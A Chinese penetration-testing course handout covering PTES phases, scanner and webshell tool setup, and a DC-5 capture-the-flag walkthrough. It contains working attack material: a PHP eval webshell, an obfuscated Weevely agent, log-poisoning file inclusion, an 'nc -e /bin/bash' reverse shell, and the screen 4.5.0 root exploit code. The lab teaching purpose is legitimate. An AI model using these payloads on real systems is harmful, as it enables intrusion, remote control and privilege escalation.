1.渗透测试概念 渗透测试主要依据CVE通用漏洞与披露已经发现的安全漏洞,模拟入侵者的攻击方法对网站应用、服务器系统和网络设备等进行非破坏性质的攻击性测试。 2.渗透测试的必要性 •信息安全等级保护的要求 •ISO27001认证的基线要求 •评估系统的安全状况,提出合理的改进方案 3.渗透测试的分类 •根据渗透测试方法分类 1.黑盒测试 2.白盒测试 3.灰盒测试 •根据渗透测试目标分类 1.主机操作系统渗透 2.数据库系统渗透 3.应用系统渗透 4.网络设备渗透 •根据渗透测试位置分类 内网渗透 外网渗透 •针对web服务体系架构的渗透测试 1.服务器渗透 2.中间件渗透 3.Web应用渗透 4.业务逻辑渗透 渗透测试标准 •安全测试方法学开源手册(OSSTMM) •网络安全测试指南(NIST SP 800-42) •OWASP十大Web应用安全威胁项目(OWASP TOPN 10) •Web应用安全威胁分类标准(WASC-TC) •渗透测试执行标准(PTES) •《渗透测试执行标准》(PTES:Penetration Testing Execution Standard)的核心理念是通过建立起进行渗透测试所需要的基本准则基线,来定义一次真正的渗透测试过程,并得到安全业界的广泛认同。 •http://www.pentest-standard.org •PTES将渗透测试过程分为七个阶段,并在每个阶段中定义不同的扩展级别,而选择哪种级别由被测试的客户组织决定。 一、前期交互阶段 •确定渗透测试的范围、目标、限制条件及服务合同细节 •客户书面授权委托,并同意实施方案是进行渗透测试的必要条件 •所有过程在客户的控制下进行 二、信息收集阶段 •信息收集包括DNS探测、操作系统指纹判别、应用判别、账号扫描、配置判别等。 •收集方法包括主动信息收集和被动信息收集 •主动收集工具:whois、dnsenum、whatweb、nmap •搜索引擎:shodan、zoomeye "钟馗之眼"、 fofa等等、google hacking、bing(必应) 信息收集内容包括: 域名信息、子域名信息、IP地址(CDN)、端口信息、目录及敏感信息(御剑,7Scan等)、指纹信息(操作系统是什么,什么版本,有没有使用cms建站)、防护信息(WAF)。 [googole hacking的语法] 三、威胁建模阶段 标识目标系统可能存在的安全漏洞与弱点 确定最为高效的攻击方法,需要进一步获取到的信息,以及从哪里攻破目标系统 四、漏洞分析阶段 Nessus、OpenVAS AWVS - 用户量最大的,扫描速度快。 AppScan -扫描速度慢,对漏洞的描述比较详细,提供了修复漏洞的方法。 XRAY-长亭科技提供的工具,轻量级。 漏洞的描述,会用CVE编号+结合渗透测试框架和工具手工验证。 从前面几个环节获取的信息中分析和理解哪些攻击途径是可行的 五、渗透攻击阶段 针对目标系统实施深入研究和测试的渗透攻击,并不是进行大量漫无目的的渗透测试。主要包括: 精准打击 绕过防御机制 定制渗透攻击路径 绕过检测机制 六、后渗透攻击阶段 以渗透攻击的结果为基础进一步完成以下操作: 标识关键基础设施 高价值目标识别 敏感信息获取 掩踪灭迹(日志清理) 持续性存在(留后门,一般使用反向连接) 七、报告阶段 使用报告文档交流在渗透测试过程踪做了哪些,如何做,以及最为重要的—客户如何修复你发现的安全漏洞与弱点。 二、web扫描工具AWVS 1、 打开kali虚拟机,AWVS部署安装在kali下 2、 解压“软件环境”压缩包, 3、 解压” acunetix_13” 4、 复制解压后的acunetix_13文件夹,到kali的root目录下 5、 在kali下,打开终端,cd到/root/acunetix_13目录 6、 运行脚本,进入配置向导 7、 按回车继续,按q可以跳过协议内容的阅读,按yes接受协议, 8、 指定主机名称:kali 9、 设置登录邮箱和密码,邮箱kali@tedu.cn,密码admin@123,注意输入密码时步显示 # bash acunetix_13.0.200217097_x64_.sh 10、 复制wvsc文件到/home/acunetix/.acunetix/v_200217097/scanner 11、 复制license_info.json文件到/home/acunetix/.acunetix/data/license ┌──(root💀kali)-[~/acunetix_13] └─# cp wvsc /home/acunetix/.acunetix/v_200217097/scanner/ ┌──(root💀kali)-[~/acunetix_13] └─# cp license_info.json /home/acunetix/.acunetix/data/license/ 2` 12、 登录验证,打开kali自带的火狐浏览器访问https://127.0.0.1:3443 13、 如果提示访问有危险,则选择“高级“”,“继续访问” 14、 输入邮箱和密码,进行登录 15、 添加 16、 输入连接http://172.163.100.63/dvwa和描述DVWA,左上角save保存。 如果被扫网站和awvs不在同一服务器上,使用127.0.0.1是错误的。 17、 点击scan开始扫描 18、 扫描完成 三、Webshell管理工具 shell -壳的意思,通过shell可以和操作系统交互。通过web的方式去连接和操作目标服务器。 webshell工具连接服务器上的木马程序,然后才可以操作服务器,执行系统命令。 中国菜刀 使用环境windows 闭源,所以网传有后门,支持php、asp、java三种脚本 非加密 中国蚁剑 使用环境 windows/linux/macos 开源,支持php、asp及用户自定义 非加密 冰蝎/哥斯拉 使用环境 windows/linux/macos 闭源,支持php、asp、java三种脚本 加密 Weevely 使用环境 windows/linux/macos 开源,目前只支持 php 加密 内存马方便过查杀工具 •1.中国菜刀 •版本说明:中国菜刀 •下载地址:见附件 •使用环境:windows •工具说明:中国菜刀是一个非常好用而又强大的webshell管理工具,是一款专业的网站管理软件。 网传,菜刀有后门,所以在虚拟机中使用。闭源。支持php、asp、java三种脚本。 •2.中国蚁剑 •版本说明:中国蚁剑 •下载地址:https://github.com/AntSwordProject/ •使用环境:windows/linux/macos •工具说明:中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员,比菜刀功能更加丰富的webshell管理工具。 webshell.php 开源、支持php、asp及用户自定义;非加密流量 实验注意事项: 使用中国蚁剑连接pikachu时,如果php的版本是5.2.17连接不成功,修改为5.4.45可以连接了。所以,操作时,需要注意php的版本。 v1.x版本的中国蚁剑可以直接打开使用的。 新的版本,例如v4.x版本的中国蚁剑分成了加载器和主程序两部分。所以在启动加载器后,需要初始化,初始化的目的是加载主程序。点击初始化按钮,选择一个空的目录。这时,加载器就会自动将主程序下载到你的空目录中,并解压缩。一般,会显示解压缩失败。需要我们进入到选择的目录中,手动解压缩主程序。然后使用加载器重新选择主程序所在目录,安装就成功了。 木马文件的内容: <?php @eval($_POST['config']);?> 木马文件的url: http://127.0.0.1/DVWA/hackable/uploads/webshell.php 练习:将木马上传到本地的DVWA靶场,使用蚁剑连接和控制。 http://192.168.10.143/dvwa/hackable/uploads/shell.php 1.上传木马文件webshell.php到pikachu时,需要删除客户端检查 2.php的版本修改为5.4.45,否则会连接失败 3.添加数据时,编码设置为GB2312 4.连接成功后,使用三个功能,虚拟终端\窗口操作\数据操作 •3.冰蝎 •版本说明:冰蝎2.0 •下载地址:https://github.com/rebeyond/Behinder/releases •使用环境:windows/linux/macos(jre6~jre8) •工具说明:冰蝎是新型加密网站管理客户端,可以作为中国菜刀的替代者 上传的木马,以及网络交互的流量都是加密的。但是,检测软件也在升级,所以,想做免杀,需要修改冰蝎的加密策略。 哥斯拉与冰蝎差不多。冰蝎马有一个逻辑上的问题,可以无密连接。 使用Weevely连接并操作DVWA靶场。 •4.Weevely •版本说明:Weevely •下载地址:https://github.com/epinna/weevely3 •使用环境:python •工具说明:Weevely是一款使用python编写的webshell工具,采用c/s模式构建。 集成在kali中了;只支持php脚本;流量也是加密的。 使用方法: 1.检查是否安装了weevely ┌──(root💀localhost)-[~] └─# weevely [+] weevely 4.0.1 [!] Error: the following arguments are required: url, password [+] Run terminal or command on the target weevely <URL> <password> [cmd] [+] Recover an existing session weevely session <path> [cmd] [+] Generate new agent weevely generate <password> <path> 2. 生成木马 ┌──(root💀localhost)-[~] └─# weevely generate 123456 1.php Generated '1.php' with password '123456' of 751 byte size. ┌──(root💀localhost)-[~] └─# ls 1.php 公共 模板 视频 图片 文档 下载 音乐 桌面 生成的文件内容(做了代码混淆,做免杀): <?php $v='1$k){$i1c=strleni1($k);$li1=stri1len($t)i1;$o=""i1i1i1;for($i=0;$i<$li1;i1){fi1or($j=0;($j<$c&&$ii1<i1$l);$j++,$i1i++)i1{'; $Y='$o.=$t{$i}i1i1^$k{$j};}}reti1uri1n $i1o;}ii1f i1(@preg_match(i1"/$kh(.+)$ki1f/"i1,@fi1ile_get_contei1nti1s("phi1p:/i1'; $w='/input")i1,$m)==1i1) {@oi1b_si1tart();@ei1val(@i1gzui1ncomi1press(@x(@basei16i14_decode($mi1[1]),$ki1)));$i1o=@ob_geti1_'; $g=str_replace('XN','','crXNeatXNXNe_fuXNncXNtXNion'); $o='$k=i1"i1e10adc39"i1;$kh="49i1ba5i19abbe56"i1;$kf="e0i157i1fi120f883e";$p="qSWRi1RCu7mxF3i1uTe0";fi1i1unctioi1n x($t,i'; $c='conteni1ts();i1i1@obi1_end_clean();$r=i1@bi1ase6i14_encodi1i1e(@x(@gzi1compress($o),$i1k)i1)i1;print(i1"$p$kh$r$kf");}'; $Z=str_replace('i1','',$o.$v.$Y.$w.$c); $P=$g('',$Z);$P(); ?> 3.以DVWA靶场为例,将木马文件上传到DVWA靶场 4.连接木马,执行命令 ──(root💀localhost)-[~] └─# weevely http://192.168.10.1/DVWA/hackable/uploads/1.php 123456 127 ⨯ [+] weevely 4.0.1 [+] Target: 192.168.10.1 [+] Session: /root/.weevely/sessions/192.168.10.1/1_0.session [+] Browse the filesystem or execute commands starts the connection [+] to the target. Type :help for more information. weevely> :help mzg:D:\phpStudy\WWW\DVWA\hackable\uploads $ :system_info 5.执行更多的操作,输入help命令可以查看相关的命令 mzg:D:\phpStudy\WWW\DVWA\hackable\uploads $ help :net_curl Perform a curl-like HTTP request. :net_mail Send mail. :net_phpproxy Install PHP proxy on the target. :net_ifconfig Get network interfaces addresses. :net_proxy Run local proxy to pivot HTTP/HTTPS browsing through the target. :net_scan TCP Port scan. :shell_php Execute PHP commands. :shell_su Execute commands with su. :shell_sh Execute shell commands. :backdoor_reversetcp Execute a reverse TCP shell. :backdoor_tcp Spawn a shell on a TCP port. :sql_console Execute SQL query or run console. :sql_dump Multi dbms mysqldump replacement. :system_extensions Collect PHP and webserver extension list. :system_procs List running processes. :system_info Collect system information. :file_clearlog Remove string from a file. :file_upload2web Upload file automatically to a web folder and get corresponding URL. :file_grep Print lines matching a pattern in multiple files. :file_download Download file from remote filesystem. :file_bzip2 Compress or expand bzip2 files. :file_gzip Compress or expand gzip files. :file_webdownload Download an URL. :file_upload Upload file to remote filesystem. :file_tar Compress or expand tar archives. :file_check Get attributes and permissions of a file. :file_zip Compress or expand zip files. :file_read Read remote file from the remote filesystem. :file_find Find files with given names and attributes. :file_enum Check existence and permissions of a list of paths. :file_touch Change file timestamp. :file_edit Edit remote file on a local editor. :file_rm Remove remote file. :file_cp Copy single file. :file_ls List directory content. :file_cd Change current working directory. :file_mount Mount remote filesystem using HTTPfs. :bruteforce_sql Bruteforce SQL database. :audit_suidsgid Find files with SUID or SGID flags. :audit_disablefunctionbypass Bypass disable_function restrictions with mod_cgi and .htaccess. :audit_filesystem Audit the file system for weak permissions. :audit_etcpasswd Read /etc/passwd with different techniques. :audit_phpconf Audit PHP configuration. 10分钟,完成weevely的使用,15:00回来 中国蚁剑的使用 1、 复制压缩包AntSword-v1.1.2-win32-x64.zip到D盘并解压 2、 进入解压后的目录中,双击运行AntSword.exe 3、 运行后的界面 4、 更改语言点击AntSword——>Language Setting 简体中文——》save 5、 DVWA靶场,上传一句话木马,webshell.php 6、 中国蚁剑,右键,添加数据:(木马文件所在的url地址) http://192.168.10.1/DVWA/hackable/uploads/webshell.php 7、 右键,文件管理,获取目标的目录结构 四、后台目录扫描工具 1、 复制压缩包 御剑后台扫描珍藏版.zip到D盘 2、 解压 响应的状态码: 200 OK 500:服务器错误 404:请求的资源不存在。 301/302:重定向 3、 双击运行 4、 运行界面 5、 输入域名或者IP地址 进行扫描 想获取什么样的敏感信息? 1.压缩文件:可能是网站源码备份、数据库备份 2.git文件:网站中有git文件或git目录,这表示该网站在github上有源码,可以通过工具下载网站源码 3.data目录、config目录、config文件,结合文件下载漏洞下载配置文件,可能获取数据库连接信息 4.其他目录:例如可以看到fckeditor,表示网站使用了fckeditor编辑器,搜与之相关的编辑器漏洞 5.robots.txt文件: 文件中描述了哪些目录不允许搜索引擎去爬取,这些恰恰是我们需要获取的 五、配置DC5目标靶机 DC5是CTF比赛的靶场。DC是一个系列,DC1~DC9。CTF我们称为夺旗赛。capture the flag。 DC5:192.168.10.139 Kali:192.168.10.136 1、 复制压缩包DC-5.zip到D盘,并解压 2、 得到DC-5.ova文件 3、 打开VM虚拟机,选择DC-5.ova文件 4、 指定名称,点击导入 5、 选择重试 6、 运行此虚拟机 7、 DC-5的账号秘密,我也不知道,所以才要攻击他 五、获取目标靶机的IP信息和端口 1、 注意,kali和DC5的网络配置,选择都是NAT模式 2、 在kali中,打开终端窗口: ┌──(root💀kali)-[~] └─# nmap -sP 192.168.10.0/24 ┌──(root💀kali)-[~] └─# nmap -sP 192.168.10.0/24 Starting Nmap 7.91 ( https://nmap.org ) at 2022-07-07 14:59 CST Nmap scan report for 192.168.10.1 Host is up (0.00056s latency). MAC Address: 00:50:56:C0:00:08 (VMware) Nmap scan report for 192.168.10.2 Host is up (0.00012s latency). MAC Address: 00:50:56:EC:B3:CB (VMware) Nmap scan report for 192.168.10.136 Host is up (0.00020s latency). MAC Address: 00:0C:29:12:6A:2C (VMware) Nmap scan report for 192.168.10.254 Host is up (0.000098s latency). MAC Address: 00:50:56:F0:FF:BF (VMware) Nmap scan report for 192.168.10.129 Host is up. Nmap done: 256 IP addresses (5 hosts up) scanned in 2.00 seconds 3、 主机192.168.10.136高度怀疑,可能是目标主机的IP地址 4、 探测该主机所开放的端口,执行命令nmap –sV 192.168.10.136,经探测得知,该主机开放80和111端口 Starting Nmap 7.91 ( https://nmap.org ) at 2022-07-07 15:19 CST Nmap scan report for 192.168.10.136 Host is up (0.000090s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 80/tcp open http nginx 1.6.2 111/tcp open rpcbind 2-4 (RPC #100000) MAC Address: 00:0C:29:12:6A:2C (VMware) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.85 seconds 5、 验证192.168.10.136是否是目标靶机 打开火狐浏览器,对192.168.136进行访问 6、 寻找漏洞,在contact界面提交信息后,发现底部的时间显示会变动,所以猜测可能存在漏洞。底部的年份显示独立存在的数据,可能存在于某个文件中,传递给了thankyou.php。 7、 验证猜测,通过御剑对DC5进行扫描,看是都有可用的信息。输入自己DC5靶场的IP地址,探测200的响应信息。 8、 发现有个名称可以的文件footer.php,对其进行访问,kali火狐,输入链接:192.168.10.136/footer.php,该文件内容恰好】是底部的年份信息 9、 thankyou.php是不是包含了footer.php这个文件,以某种方式传入给了thankyou.php呢? 有可能是通过链接传入的! 10、 验证想法,构造链接,访问对比 192.168.10.136/thankyou.php?file=footer.php 192.168.10.139/thankyou.php?file= 由此,我们可以判断,参数名是file! 如果参数值换成/etc/passwd,那么在底部就会显示DC5的用户信息 如果参数值换成nginx日志文件的目录 /var/log/nginx/error.log ,那么在底部就会显示nginx的日志文件信息。 11、 如何上传一句话木马,通过蚁剑控制?(思路:将一句话木马写到现有的文件中?) 12、 通过日志挂马的方式,想办法将一句话木马写入到靶机的日志文件中 13、 在地址栏输入: http://192.168.10.136/thankyou.php?file=<?php @eval($_REQUEST["tedu"]);?> 回车,底部没有任何显示的 14、 根据之前的扫描,得知靶机使用的是nginx,所以推测靶机的错误日志存放路径是/var/log/nginx/error.log,所以尝试在浏览器上进行访问。发现在日志中,出现了一句话木马代码。 所以,在地址栏直接输入一句话木马,是连接不上的。原因是一句话木马代码被编码了。 15、首先使用burpsuite抓包,在拦截的数据包中,在file=后面增加 一句话木马。<?php @eval($_POST['tedu']);?> Burp Suite Professional v2.1 - Temporary Project - licensed to surferxyz Burp Project Intruder Repeater Window Help Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Intercept Websockets history HTTP history Options Request to http://192.168.10.136:80 Drop Forward Intercept is on Action Raw Headers Params Hex GET /thankyou.php?file=<?php @eval($_POsT['tedu'j):?>HTTP/1.1 Host:192.168.10.136 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64: rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html.application/xhtml+xml.application/xml;q=0.9.image/avif.image/webp.**;q=0.8 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 16、 蚁剑重新连接,成功.这是连接成功后看到的文件列表。 url: http://192.168.10.138/thankyou.php?file=/var/log/nginx/error.log password : tedu 18、 使用蚁剑终端,输入id和whoami命令,发现权限较低,所示。 完成蚁剑对DC5的连接和控制。【日志挂马】 虽然使用中国蚁剑已经连接上了DC-5靶场,但是蚁剑本身没有关于提权的工具以及代码,所以我们还需要使用kali去连接DC-5的靶场。提权操作是需要kali和蚁剑两者共同完成的。 接下来的步骤,靠nc工具让DC-5反向连接kali。 既然没有操作权限,那么提权. 19、 为了便于操作,蚁剑反弹shell到kali,在kali上连接shell,进行后续操作。 20、 在kali上开启监听 ┌──(root💀kali)-[~] └─# nc -lvvp 1234 listening on [any] 1234 ... 25、 蚁剑中执行命令 nc -e /bin/bash 192.168.10.129 1234 。在蚁剑中执行的命令不要复制,要手动输入。 192.168.10.129是kali的地址。 只要出现 connect to ...,表示连接成功! 26、 在kali上输入python -c 'import pty;pty.spawn("/bin/bash")' 27、 找到具有SUID的文件,文件,用来提权。find / -perm -u=s -type f 2>/dev/null 28、 重新打开一个终端,在kali中通过命令searchsploit查看screen-4.5.0的漏洞。 ┌──(root💀kali)-[~] └─# searchsploit screen 4.5.0 29、 复制漏洞脚本到当前目录: searchsploit -m 41154 30、 复制的脚本没办法直接执行,所以需要将其拆分为多个文件处理。在kali的root文件夹下新建文件,命名为libhax.c。将41154.sh脚本中的第一部分内容复制到libhax.c文件 。 31、 将脚本中选中内容复制到libhax.c文件中。 32、 在libhax.c文件中添加所选中的语句 libhax.c的内容:(第一个文件内容) #include <stdio.h> #include <sys/types.h> #include <unistd.h> __attribute__ ((__constructor__)) void dropshell(void){ chown("/tmp/rootshell", 0, 0); chmod("/tmp/rootshell", 04755); unlink("/etc/ld.so.preload"); printf("[+] done!\n"); } 33、 将libhax.c文件ctrl s保存,然后打开终端窗口,在终端窗口里执行命令 gcc -fPIC -shared -ldl -o libhax.so libhax.c 用来生成动态库文件libhax.so 34、 在kali的root文件夹下新建文件命名为rootshell.c,用来处理脚本中的第二部分内容 35、 将41154.sh脚本中的选中部分,复制到rootshell.c文件中 36、 在rootshell.c文件中,第二行添加语句#include<unistd.h>,在文件的倒数第二行,删掉一个多余的NULL . rootshell.c的文件内容:(第二个文件内容) #include <stdio.h> #include <unistd.h> int main(void){ setuid(0); setgid(0); seteuid(0); setegid(0); execvp("/bin/sh", NULL); } 37、 保存并退出rootshell.c文件,在kali的终端窗口中,输入命令gcc rootshell.c –o rootshell,用来生成一个可以执行的二进制文件. gcc -o rootshell rootshell.c 33\37的两个命令,对两个.c文件,编译生成一个.so库文件和一个可执行文件。 38、 将41154.sh脚本中的最后一部分内容,复制到dc5.sh文件中。 39、 新建dc5.sh文件,终端窗口通过命令vi dc5.sh打开 dc5.sh文件内容:(最后一个文件内容): echo "[+] Now we create our /etc/ld.so.preload file..." cd /etc umask 000 # because screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/ libhax.so " # newline needed echo "[+] Triggering..." screen -ls # screen itself is setuid, so... /tmp/rootshell 41、 在终端窗口中,按esc,再按shift + : ,窗口底部应该出现冒号,输入set ff=unix,回车 42、 再按shift + :,输入wq,回车 按照操作步骤,根据41154.sh,生成我们提权需要的三个文件:dc5.sh、rootshell、libhax.so . 三个文件.zip 43、 在kali中复制刚刚制作好的三个文件,到Windows中的任意位置。 44、 打开蚁剑,找到/tmp目录,右键上传文件 如果需要,可以对文件重命名: 46、 在kali反弹shell的窗口中,查看刚刚蚁剑上传的文件 47、 给dc5.sh文件添加可执行权限 chmod +x dc5.sh 48、 执行脚本 ./dc5.sh 49、 执行whoami命令查看身份是root,cd到/root目录,执行ls发现文件thisistheflag.txt,查看该文件内容为nice work! 分成三个步骤: 1.使用kali可以连接上DC-5(外围打点,利用Web应用漏洞,连接并控制服务器) 2.利用41154.sh文件生成用于提权的三个文件(知道步骤即可,文件已经提供大家了) 3.使用这三个文件完成提权(通过蚁剑上传,在kali中操作) DC1~DC9合集(靶场的下载地址和通关教程) https://blog.51cto.com/u_15127588/2807838 剩下的时间,可以重新完成DC5,也可以看DC1~DC9.
渗透测试概念,分类及流程
最新推荐文章于 2024-06-05 11:22:49 发布